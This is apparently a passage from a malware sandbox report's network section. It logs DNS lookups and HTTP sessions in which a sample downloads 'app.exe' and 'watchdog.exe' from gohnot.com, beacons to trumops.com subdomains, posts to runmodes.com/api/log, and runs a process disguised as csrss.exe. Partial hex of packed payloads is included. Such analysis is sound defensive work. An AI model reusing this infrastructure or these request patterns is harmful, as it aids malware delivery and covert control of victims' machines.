Nov 4, 2021 13:12:37.009023905 CET	8.8.8.8	192.168.2.3	0x3676	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:37.009023905 CET	8.8.8.8	192.168.2.3	0x3676	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:37.239144087 CET	8.8.8.8	192.168.2.3	0x4ddd	No error (0)	trumops.com			TXT (Text strings)	IN (0x0001)
Nov 4, 2021 13:12:37.270955086 CET	8.8.8.8	192.168.2.3	0x22d2	No error (0)	server16.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:37.270955086 CET	8.8.8.8	192.168.2.3	0x22d2	No error (0)	server16.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:38.978027105 CET	8.8.8.8	192.168.2.3	0xbc27	No error (0)	gohnot.com		104.21.92.165	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:38.978027105 CET	8.8.8.8	192.168.2.3	0xbc27	No error (0)	gohnot.com		172.67.196.11	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:40.164143085 CET	8.8.8.8	192.168.2.3	0x3562	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:40.164143085 CET	8.8.8.8	192.168.2.3	0x3562	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:43.438608885 CET	8.8.8.8	192.168.2.3	0x178e	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:12:43.438608885 CET	8.8.8.8	192.168.2.3	0x178e	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.588268995 CET	8.8.8.8	192.168.2.3	0xf797	No error (0)	trumops.com			TXT (Text strings)	IN (0x0001)
Nov 4, 2021 13:13:06.616501093 CET	8.8.8.8	192.168.2.3	0xf41e	No error (0)	logs.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 4, 2021 13:13:06.643345118 CET	8.8.8.8	192.168.2.3	0xf287	Name error (3)	442b90d2-fde4-485f-a003-6086e2191d6e.uuid.trumops.com	none	none	16	IN (0x0001)
Nov 4, 2021 13:13:06.734728098 CET	8.8.8.8	192.168.2.3	0xb9c3	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.734728098 CET	8.8.8.8	192.168.2.3	0xb9c3	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.840814114 CET	8.8.8.8	192.168.2.3	0x65b0	No error (0)	server2.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:06.840814114 CET	8.8.8.8	192.168.2.3	0x65b0	No error (0)	server2.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:15.811979055 CET	8.8.8.8	192.168.2.3	0xc8f1	No error (0)	server2.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:15.811979055 CET	8.8.8.8	192.168.2.3	0xc8f1	No error (0)	server2.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:16.277537107 CET	8.8.8.8	192.168.2.3	0xae69	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:16.277537107 CET	8.8.8.8	192.168.2.3	0xae69	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:28.868427038 CET	8.8.8.8	192.168.2.3	0x3644	No error (0)	server2.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:28.868427038 CET	8.8.8.8	192.168.2.3	0x3644	No error (0)	server2.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:29.014751911 CET	8.8.8.8	192.168.2.3	0xc23a	No error (0)	gohnot.com		104.21.92.165	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:29.014751911 CET	8.8.8.8	192.168.2.3	0xc23a	No error (0)	gohnot.com		172.67.196.11	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:31.386565924 CET	8.8.8.8	192.168.2.3	0xe7aa	No error (0)	e0a50c60a85bfbb9ecf45bff0239aaa3.hash.trumops.com			TXT (Text strings)	IN (0x0001)
Nov 4, 2021 13:13:37.981930971 CET	8.8.8.8	192.168.2.3	0xa88f	No error (0)	runmodes.com		172.67.207.136	A (IP address)	IN (0x0001)
Nov 4, 2021 13:13:37.981930971 CET	8.8.8.8	192.168.2.3	0xa88f	No error (0)	runmodes.com		104.21.34.203	A (IP address)	IN (0x0001)
Nov 4, 2021 13:14:04.171608925 CET	8.8.8.8	192.168.2.3	0xc84c	No error (0)	server2.trumops.com		104.21.79.9	A (IP address)	IN (0x0001)
Nov 4, 2021 13:14:04.171608925 CET	8.8.8.8	192.168.2.3	0xc84c	No error (0)	server2.trumops.com		172.67.139.144	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

runmodes.com

server16.trumops.com

server2.trumops.com

gohnot.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49749	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.3	49750	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
10	192.168.2.3	49762	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
11	192.168.2.3	49765	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.3	49802	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
13	192.168.2.3	49831	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
14	192.168.2.3	49754	104.21.92.165	80	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
Nov 4, 2021 13:12:38.997127056 CET	1079	OUT	GET /d28daa3fb329cff58b19acdf478b7882/app.exe HTTP/1.1 Host: gohnot.com User-Agent: Go-http-client/1.1 Uuid: Accept-Encoding: gzip
Nov 4, 2021 13:12:39.026179075 CET	1080	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:12:39 GMT Content-Type: application/octet-stream Content-Length: 3788288 Connection: keep-alive content-disposition: attachment; filename=app.exe etag: "616ea4c2-39ce00" last-modified: Tue, 19 Oct 2021 10:58:10 GMT Cache-Control: max-age=3600 CF-Cache-Status: HIT Age: 726 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=aGUDRkZW12WFb0Z1WtbDazJRsyQjmf37XuogvaYwPWl6MnjPMl4eqYDp2G4rixUdVCHSJNAij3d%2BJyafZy7nG%2FpPEkNqHIpND7MIWu%2Fkz1fTe%2FgV6DrKP1Wv8esq"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 6a8dc077cd066933-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 24 8a 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 d0 39 00 00 10 00 00 00 30 52 00 20 08 8c 00 00 40 52 00 00 10 8c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 20 8c 00 00 10 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 8c 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 30 52 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 d0 39 00 00 40 52 00 00 ca 39 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 10 8c 00 00 02 00 00 00 cc 39 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL$90R @R@ UPX00RUPX19@R9@UPX29@
Nov 4, 2021 13:12:39.026202917 CET	1082	IN	Data Raw: 33 2e 39 35 00 55 50 58 21 0d 09 08 09 c7 f3 bf 17 2d 0a fb 73 1e e4 8b 00 09 c8 39 00 00 26 8a 00 26 22 00 13 ff ff ff ff ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 65 66 4b 78 62 52 45 38 7a 4a 46 48 39 67 78 42 ff ff ed ff 37 70 42 66 2f Data Ascii: 3.95UPX!-s9&&" Go build ID: "efKxbRE8zJFH9gxB7pBf/JfqrRU>jpK8uMrff7Rq/6PoXonZYEm2XfJCsywwk/P5vIQLaJH_zAAtwCM0QU" d;av "D$$`k&\|fdnlL$hmg$
Nov 4, 2021 13:12:39.026215076 CET	1083	IN	Data Raw: 28 c3 88 84 1b b4 07 0c 90 7d de c1 a9 08 71 6c a4 a9 20 1b ad c0 e2 3f f8 1b 21 ca 88 15 bb fa 01 45 10 2c 27 df a5 1b 02 a6 95 db 5d 39 8f 4d d9 18 20 bb 9c 8b e2 90 61 97 43 a9 2b 52 a9 04 39 b1 3b 7a 74 28 20 f8 08 aa b4 f3 57 8d 3d 8a ee 7b Data Ascii: (}ql ?!E,']9M aC+R9;zt( W={d5l.@yi9-(8HXhx.>:!$I2erjx!TqH6#p0.W?DkmN8q_]SVY?.N7
Nov 4, 2021 13:12:39.026227951 CET	1084	IN	Data Raw: 01 bb 9f 90 28 33 fa 0f 86 b6 d9 a7 88 fd 07 fc af e0 57 c9 0f 2e c1 75 06 0f 8b 86 5a 2e c0 75 02 7b 5b dd b7 c0 a5 6a 05 80 81 40 18 8b 88 90 11 90 57 7d 77 85 94 24 90 17 89 cb c1 e1 11 e4 89 d3 31 0d ee fe ff ca c1 e9 07 31 d1 89 da c1 eb 10 Data Ascii: (3W.uZ.u{[j@W}w$111EM1B5ivE\Au^I<If2fr8"z<!'~I:(+{wh o-#X$2_->m tgIfY^I t)!WMo
Nov 4, 2021 13:12:39.026241064 CET	1086	IN	Data Raw: e0 e1 82 f2 70 89 81 cd 14 81 2a 78 e8 c0 ab b4 50 a8 d6 b4 05 ee 43 f3 6d 1a 60 3e 6c 8d 2a 0b c3 ec 43 b8 02 8c 9c a4 ab 67 70 a0 15 68 c6 c7 8b 4f f0 7f 5e 23 ef 5d 8e bc 01 7e 30 28 c3 40 76 23 0e 4c 7c 02 a4 3d 30 87 60 7f 40 4c 25 fa c8 ae Data Ascii: pxPCm`>lCgphO^#]~0(@v#L\|=0`@L%VT+tPPK;9J :%hI<pvhuYl0RlSmpKp`Q$BM6y9\^pA[,3b?1D.'\|?}pv
Nov 4, 2021 13:12:39.026253939 CET	1087	IN	Data Raw: 0e 2f 46 e3 1c eb a7 87 a8 d8 a0 a3 f0 19 96 cb 99 58 24 ca 28 a1 19 12 4d a6 e9 53 40 44 1b ae 78 fc e8 09 83 c3 0c a4 52 fd 8b 7b fa 17 77 e8 fd 4b e0 2d 8b 3f b4 01 fd 39 fa 76 1d f0 28 1f fc ff 1f ce 29 fd 29 fa 39 e9 76 09 46 29 e9 39 c6 7c Data Ascii: /FX$(MS@DxR{wK-?9v())9vF)9\|7)8 LL`0\|4<$lC$u)80&)@4D<-]j{{(F<Ql_fl%I=zSlH,y@c$?Y(6w*%Y8YHl"^
Nov 4, 2021 13:12:39.026269913 CET	1089	IN	Data Raw: 3f 38 00 f6 a1 d9 8a 39 dc 98 8e 6f 72 11 6f 20 b7 1c 15 3e 7c 01 07 2c 49 00 d5 20 31 c2 c7 29 13 05 04 6c ee 18 c1 16 25 3f df 91 09 f6 15 f8 20 89 5c 24 04 df 20 94 15 a3 90 10 be 19 02 00 34 80 95 2b 19 f1 8a 49 1a 61 32 f5 14 1c f5 24 34 5a Data Ascii: ?89oro >\|,I 1)l%? \$ 4+Ia2$4Z`q`&QXhY9~uSpPCJ#;ir<8`DOV2BBH*JKP97lO?A(tx^vr=8 pW5
Nov 4, 2021 13:12:39.026282072 CET	1090	IN	Data Raw: 80 60 30 74 7d e0 9f ad d8 0f 8d 86 90 34 b8 4e 1b 1b 5e 69 b8 39 e9 7e 76 f4 3c 2e e0 4d f1 37 32 3d 97 74 28 31 ff 97 72 0e d8 8d 45 01 bd 83 ff bf 68 77 74 29 c1 89 ca f7 d9 c1 f9 1f 21 c8 01 f0 30 34 9e 38 1c e4 64 20 d7 f1 a0 82 15 70 05 22 Data Ascii: `0t}4N^i9~v<.M72=t(1rEhwt)!048d p"4lF6%EiZ++CE_qx]R4`BJ`9sG4A8Ar}_Zw ArZ GL5"+W*;AF5v1$
Nov 4, 2021 13:12:39.026295900 CET	1091	IN	Data Raw: 4e e2 41 5a 95 1a 4f 4d 6b 80 17 58 c1 eb a2 fc 8b 33 96 02 af 47 14 94 cb 6c 0f a0 b4 40 b8 a3 a0 5a 89 c2 27 f5 8a 06 9b 5d ea eb f1 89 f8 23 11 5f d0 6c 0d b9 f5 0e 55 1a af 27 4d cc df 93 07 ef 01 78 bd 9f 78 f0 7c 3e 5f 1c 8b fe 11 5d ff 48 Data Ascii: NAZOMkX3Gl@Z']#_lU'Mxx\|>_]HmT>r%yl^).=V9mNO"ku~J*>Apt^=3!hY-3kh`$-S?Yl%^x$;n: LGW
Nov 4, 2021 13:12:39.026313066 CET	1093	IN	Data Raw: a5 3f 51 0c 04 70 5c 83 28 7a 28 3a 66 32 ab 07 44 70 37 3b 10 00 a3 c7 47 b3 47 6f 5a 6b 38 85 5b 76 c5 0f 1c 23 f1 db 2c 10 00 3b 14 02 1d 47 d7 d7 de 24 54 75 45 89 47 fa 3c 8e 03 f3 2e 84 63 1d 59 74 8e 24 34 2a 18 0c e0 ad a9 3d 44 1e 64 b8 Data Ascii: ?Qp\(z(:f2Dp7;GGoZk8[v#,;G$TuEG<.cYt$4=DddLU2a>t\OhfpD0Wmdhlpp`a[<C<k (ZKAmmqpqsB(#~I87Ej!tWwTl/1Q_+g_
Nov 4, 2021 13:12:39.026331902 CET	1094	IN	Data Raw: 81 d9 24 8b 01 ed ef 30 b5 f4 a0 6c 72 2c 24 31 85 fa 42 30 16 eb e4 0f 84 d5 89 36 06 70 0a 28 12 77 a2 be 2b 2d d4 25 46 8c 6c 8f 81 0f 6c 2d 70 80 25 44 3d 4e a9 fd 0f b6 12 f6 c2 01 1e 3f 8f 75 09 0c 3f f6 c0 99 8c 66 4b f3 44 01 08 8b 57 cd Data Ascii: $0lr,$1B06p(w+-%Fll-p%D=N?u?fKDWN$qqa`PBL[JhP,QixpDFF+l23WJa DK@?_tf,Xl\]Owg>?49t

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
15	192.168.2.3	49767	104.21.92.165	80	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data
Nov 4, 2021 13:13:29.038016081 CET	5537	OUT	GET /d28daa3fb329cff58b19acdf478b7882/watchdog.exe HTTP/1.1 Host: gohnot.com User-Agent: Go-http-client/1.1 Uuid: 442b90d2-fde4-485f-a003-6086e2191d6e Version: 183 Accept-Encoding: gzip
Nov 4, 2021 13:13:29.097462893 CET	5542	IN	HTTP/1.1 200 OK Date: Thu, 04 Nov 2021 12:13:29 GMT Content-Type: application/octet-stream Content-Length: 2102272 Connection: keep-alive content-disposition: attachment; filename=watchdog.exe etag: "616ea494-201400" last-modified: Tue, 19 Oct 2021 10:57:24 GMT Cache-Control: max-age=3600 CF-Cache-Status: HIT Age: 802 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=yf%2BGD8l7373ZeZ%2Bx2Q1xpl%2FgZXFhtKWeXRYuOa7bn%2FvVZo559VS4xe2flpcsnosSzS0Rx9wZavPEonRFgpdfi6r8EDDYvPMTxUa18GxPfvjXzcqZC%2B2iZbRyMbg4"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Vary: Accept-Encoding Server: cloudflare CF-RAY: 6a8dc1b08ff06913-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 04 00 00 00 00 00 ff ff 00 00 8b 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 00 00 00 00 00 b4 4b 00 00 00 00 00 e0 00 03 03 0b 01 03 00 00 10 20 00 00 10 00 00 00 70 2d 00 00 8d 4d 00 00 80 2d 00 00 90 4d 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 01 00 01 00 00 00 06 00 01 00 00 00 00 00 00 a0 4d 00 00 10 00 00 00 00 00 00 03 00 00 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 90 4d 00 88 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 50 58 30 00 00 00 00 00 70 2d 00 00 10 00 00 00 00 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 e0 55 50 58 31 00 00 00 00 00 10 20 00 00 80 2d 00 00 10 20 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 55 50 58 32 00 00 00 00 00 10 00 00 00 90 4d 00 00 02 00 00 00 12 20 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELK p-M-M@MMUPX0p-UPX1 - @UPX2M
Nov 4, 2021 13:13:29.097493887 CET	5543	IN	Data Raw: 00 00 00 40 00 00 c0 33 2e 39 35 00 55 50 58 21 0d 09 08 09 59 97 50 98 0e ef ba a0 1e 64 4d 00 e9 0c 20 00 00 b6 4b 00 26 27 00 ab ff ff ff ff ff 20 47 6f 20 62 75 69 6c 64 20 49 44 3a 20 22 38 4c 67 64 4e 77 31 30 4f 4d 6e 6a 6e 45 61 66 ff ff Data Ascii: @3.95UPX!YPdM K&' Go build ID: "8LgdNw10OMnjnEafoouob/F_u>d7bw5LzGyMt067q/f_4En-IIykrT4Xu-NukD/RUnzYHIbGfj1LuaRla" d;av 'D$$`k&fdnlL$hm
Nov 4, 2021 13:13:29.097507000 CET	5545	IN	Data Raw: 04 3e 28 c3 88 c1 57 72 50 84 1b b4 07 0c a9 08 71 3f 90 7d de 6c e4 a9 20 1b f8 1b 21 df ad c0 e2 ca 88 15 bb fa 01 45 e5 1b 02 8f 10 2c 27 e6 95 4d 43 db 5d 39 d9 18 20 bb 9c 8b e2 a9 2b 74 90 61 97 52 a9 04 39 28 20 64 b1 3b 7a f8 08 aa b4 f3 Data Ascii: >(WrPq?}l !E,'MC]9 +taR9( d;zW=59ky,.@yi-(8HXh:xI.>!$2erxHj!pTq60#.?WD8kmNq_VN]SY?.7
Nov 4, 2021 13:13:29.097524881 CET	5546	IN	Data Raw: 86 b6 d9 a7 f0 bf 42 a2 88 a0 57 c9 0f 2e c1 75 06 0f 8b 86 02 97 f6 1f 1a 2e c0 75 02 7b 5b 6a 05 80 dd 13 76 df 41 40 18 8b 88 90 11 90 94 e4 90 17 89 fb ff 5f f5 cb c1 e1 11 e4 89 d3 31 ca c1 e9 07 31 d1 89 da c1 eb 10 31 cb 89 98 45 c1 ff 37 Data Ascii: BW.u.u{[jvA@_111E7M15ivEbxVsAuF&(fQ2f<c'9({'~7-E!2r5X*>- tgIfY^I t)1wxMeY!(
Nov 4, 2021 13:13:29.097537041 CET	5548	IN	Data Raw: b4 50 1f 9a 57 c1 a8 d6 44 6d 1a 60 3e 6c 8d 1f c2 2d 70 2a 0b 02 8a ac 64 ab 33 3e 1e 66 67 70 a0 8b 4f f0 72 e4 ad 40 7f 5e 23 01 7e 30 b8 97 20 ed 79 ef 40 76 23 0e 4c 30 87 d1 47 e6 13 60 7f 40 ae 1c 83 c0 ac b0 02 66 2a 0a f0 14 b9 e8 a8 44 Data Ascii: PWDm`>l-pd3>fgpOr@^#~0 y@v#L0G`@fDT+o0BqGt4;=&:%HId,fQlba0RlLp)-pKhxp$BA9M49L{^pA,}b?1DI'\8"?v>ehxA
Nov 4, 2021 13:13:29.097548962 CET	5549	IN	Data Raw: 99 58 24 19 12 4d a8 ca 28 a6 e9 13 ae 78 fc a1 40 44 e8 09 83 c3 0c a4 52 fd 8b 7b fd 4b e0 1b fa 17 77 2d 8b 3f b4 01 fd 39 fa 76 1d fc ff 1f e8 f0 28 ce 29 fd 29 fa 39 e9 76 09 46 29 e9 39 c6 7c cd eb a8 8c 8b 83 1f 37 d7 eb df 0c 38 18 20 05 Data Ascii: X$M(x@DR{Kw-?9v())9vF)9\|78 L`0\|4<$lCuL$)80@&)4D<-z80.btQL_a%I=z?[H,y@c$70i?Y(6-pTY8Y7>lEzP89Pf
Nov 4, 2021 13:13:29.097560883 CET	5550	IN	Data Raw: 20 b7 01 06 9c 49 38 85 a3 c2 00 d5 20 13 62 24 46 f8 05 01 bc ee ff be 02 23 d8 df f8 20 89 5c 24 04 14 32 32 c1 df 20 10 b0 92 b2 62 be 19 02 2b 23 0c 80 06 19 f1 32 f5 0b 5c 31 49 14 1c f5 af cf 6e 81 84 46 10 bb df eb 11 90 70 16 17 2c 60 26 Data Ascii: I8 b$F# \$22 b+#2\1InFp,`&QXYM9Q!uSP`GCJ#i`DF@'O[EJBBJKP07pl!A#?A(#:tx^G\2Dp%B*X3GZ
Nov 4, 2021 13:13:29.097579002 CET	5552	IN	Data Raw: 39 7f b3 b1 e1 e9 7e 76 f4 3c 2e 32 3d 97 74 28 31 ff 97 ff 0b de 14 72 0e d8 8d 45 01 68 77 74 29 c1 89 ca f7 d9 c1 f9 06 d2 3b f8 1f 21 c8 01 f0 30 34 9e 38 97 57 c0 41 4e f1 a0 22 34 60 20 58 01 03 f3 5c 21 bc 6a 7f 6c 05 46 c6 7c 24 10 16 1c Data Ascii: 9~v<.2=t(1rEhwt);!048WAN"4` X\!jlF\|$`$)ZYq!+E\|4tE_q_/]Kj hB9sG4V8?(ArZw ArkZ GX+\P ;A\F1$",V3<
Nov 4, 2021 13:13:29.097595930 CET	5553	IN	Data Raw: 68 c6 52 c0 cb 94 cb 6c b8 e0 01 94 16 a3 a0 5a 89 c2 ad a4 5e d1 9b 3d ea eb f1 89 f8 e3 d3 88 07 9c 0d b9 08 4f 27 4d 5e 87 2a 8d ac df 93 07 9f ff f7 00 bc 78 f0 7c 3e 5f 1c 8b 48 08 81 f9 6d 54 1a 6c ff 88 ae b3 3e e9 72 f9 8c 02 25 79 16 29 Data Ascii: hRlZ^=O'M^x\|>_HmTl>r%y)W6.=j+E9'O"ku\VR>IJbVm>p kt=FB3hy?(hFSx;?Y\|%Ux$: \GWx?PrO#I
Nov 4, 2021 13:13:29.097613096 CET	5554	IN	Data Raw: 80 44 68 63 70 0a 6f 76 c7 47 b3 47 6f 5b e2 b7 b5 d6 76 c5 0f 2c 10 00 3b 14 02 bd 49 38 46 1d 47 54 75 45 89 47 a3 23 f3 af fa 3c 8e 03 f0 fc 8d 74 24 34 19 f0 d6 54 42 68 3d 44 1e 5c 7c 31 06 dc d4 64 89 4c 55 85 b0 02 32 32 3e 85 db d9 48 45 Data Ascii: DhcpovGGo[v,;I8FGTuEG#<t$4TBh=D\\|1dLU22>HEt\O8f06pWdhwjlptF[/C +U(KLmq'0'tp(#'I07E\|(,3Wl/LT_AJGgR_K@~d
Nov 4, 2021 13:13:29.097629070 CET	5556	IN	Data Raw: 85 f0 7a 30 e4 0f 84 d5 0a 5a 12 ed 09 e8 12 77 d4 d8 44 7d 57 25 46 89 dc 2d fb 1f 03 1f 70 80 25 44 0f b6 12 f6 c2 01 1e 81 7b 9c 52 3f 8f 75 09 99 8c 48 19 7e ec 66 2b f3 44 01 08 8b 57 02 9b 01 9c 9d 85 8c 71 90 49 d8 e3 06 db c3 71 01 07 84 Data Ascii: z0ZwD}W%F-p%D{R?uH~f+DWqIq&PciQi8pD3J02,\aHDJ# p_ DT.P<?8tfXg,\wg9t1i1OCTC
Nov 4, 2021 13:14:01.348191023 CET	14204	OUT	Data Raw: 00 Data Ascii:
Nov 4, 2021 13:14:31.378752947 CET	14232	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.3	49751	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49752	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49753	172.67.139.144	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
5	192.168.2.3	49755	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.3	49756	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.3	49759	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.3	49760	104.21.79.9	443	C:\Windows\rss\csrss.exe

Timestamp	kBytes transferred	Direction	Data

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.3	49761	172.67.139.144	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	kBytes transferred	Direction	Data

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49749	172.67.207.136	443	C:\Users\user\Desktop\0NlSa5bf55.exe

Timestamp	Direction	Data
2021-11-04 12:12:36 UTC	OUT	POST /api/log HTTP/1.1 Host: runmodes.com User-Agent: Go-http-client/1.1 Content-Length: 192 Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip
